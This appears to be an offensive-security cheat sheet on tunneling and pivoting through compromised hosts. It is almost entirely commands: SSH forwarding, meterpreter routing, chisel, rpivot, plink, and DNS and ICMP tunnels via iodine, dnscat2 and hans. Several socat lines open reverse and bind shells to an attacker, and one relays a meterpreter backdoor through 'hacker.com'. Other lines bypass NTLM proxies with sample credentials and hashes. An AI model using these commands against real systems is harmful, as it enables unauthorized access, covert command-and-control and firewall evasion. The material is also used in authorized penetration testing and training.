Tunneling and Port Forwarding
SSH graphical connection (X)
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
Open new Port in SSH Server --> Other port
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
Local port --> Compromised host (SSH) --> Third_box:Port
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host#Examplesudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
Local Port --> Compromised host(SSH) --> Wherever
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login:
PermitRootLogin yes
PermitTunnel yes
ssh username@server -w any:any #This wil create Tun interfaces in both devicesip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IPip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
Enable forwarding in Server side
echo 1 > /proc/sys/net/ipv4/ip_forwardiptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
Set new route on client side
route add -net 10.0.0.0/16 gw 1.1.1.1
You can tunnel via ssh all the traffic to a subnetwork through a host. Example, forwarding all the traffic going to 10.10.10.0/24
pip install sshuttlesshuttle -r user@host 10.10.10.10/24
Local port --> Compromised host (active session) --> Third_box:Port
# Inside a meterpreter sessionportfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
background# meterpreter sessionroute add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 2552.55.255.0 8)use auxiliary/server/socks4arun #Proxy port 1080 by defaultecho "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
Another way:
background #meterpreter sessionuse post/windows/manage/autorouteset SESSION <session_n>set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0set NETMASK <Netmask>runuse auxiliary/server/socks4arun #Proxy port 1080 by default
​https://github.com/sensepost/reGeorg​
You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
​https://github.com/jpillora/chisel​
Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Chisel is very similar to crowbar though achieves much higher performance.
You can do port forwarding (bind & reverse), create a socks proxy (bind & reverse).
root@kali:/opt# git clone https://github.com/jpillora/chisel.gitCloning into 'chisel'...remote: Enumerating objects: 33, done.remote: Counting objects: 100% (33/33), done.remote: Compressing objects: 100% (27/27), done.remote: Total 1151 (delta 7), reused 18 (delta 5), pack-reused 1118Receiving objects: 100% (1151/1151), 3.31 MiB | 19.03 MiB/s, done.Resolving deltas: 100% (416/416), done.​root@kali:/opt/chisel# ./chisel --help​Usage: chisel [command] [--help]​Version: 0.0.0-src​Commands:server - runs chisel in server modeclient - runs chisel in client mode​Read more:https://github.com/jpillora/chisel
Read more:
​https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s (HTB Reddish by ippsec)
​https://0xdf.gitlab.io/2019/01/26/htb-reddish.html (HTB Reddish by 0xdf)
​https://github.com/klsecservices/rpivot​
Reverse tunnel. The tunnel is started from the victim. A socks4 proxy is created on 127.0.0.1:1080
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
Pivot through NTLM proxy
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
​https://github.com/andrew-d/static-binaries​
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,saneattacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>,<rport> &
socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5#Execute the meterpreter
You can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
​https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/​
/bin/sh console
Create certificates in both sides: Client and Server
# Execute this commands in both sidesFILENAME=socatsslopenssl genrsa -out $FILENAME.key 1024openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crtcat $FILENAME.key $FILENAME.crt >$FILENAME.pemchmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/shvictim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
Connect the local SSH port (22) to the 443 port of the attacker host
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhostvictim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
It's like a console PuTTY version ( the options are very similar to a ssh client).
As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:
plink.exe -l <Our_valid_username> -pw <valid_password> -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
The previously mentioned tool: Rpivot OpenVPN can also bypass it, setting these options in the configuration file:
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
​http://cntlm.sourceforge.net/​
It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port. Example that forward port 443
Username AlicePassword P@ssw0rdDomain CONTOSO.COMProxy 10.0.0.10:8080Tunnel 2222:<attackers_machine>:443
Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222. You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.
A reverse proxy create by Microsoft. You can find it here: https://github.com/microsoft/reverse-proxy​
​https://code.kryo.se/iodine/​
Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.comvictim> iodine -f -P P@ssw0rd tunneldomain.com -r#You can see the victim at 1.1.1.2
The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
Establishes a C&C channel through DNS. It doesn't need root privileges.
attacker> ruby ./dnscat2.rb tunneldomain.comvictim> ./dnscat2 tunneldomain.com
Port forwarding with dnscat
session -i <sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Proxychains intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is 4.2.2.2 (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.
​https://github.com/hotnops/gtunnel​
​https://github.com/friedrich/hans https://github.com/albertzak/hanstunnel​
Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)./hans -f -c <server_ip> -p P@ssw0rd -vping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
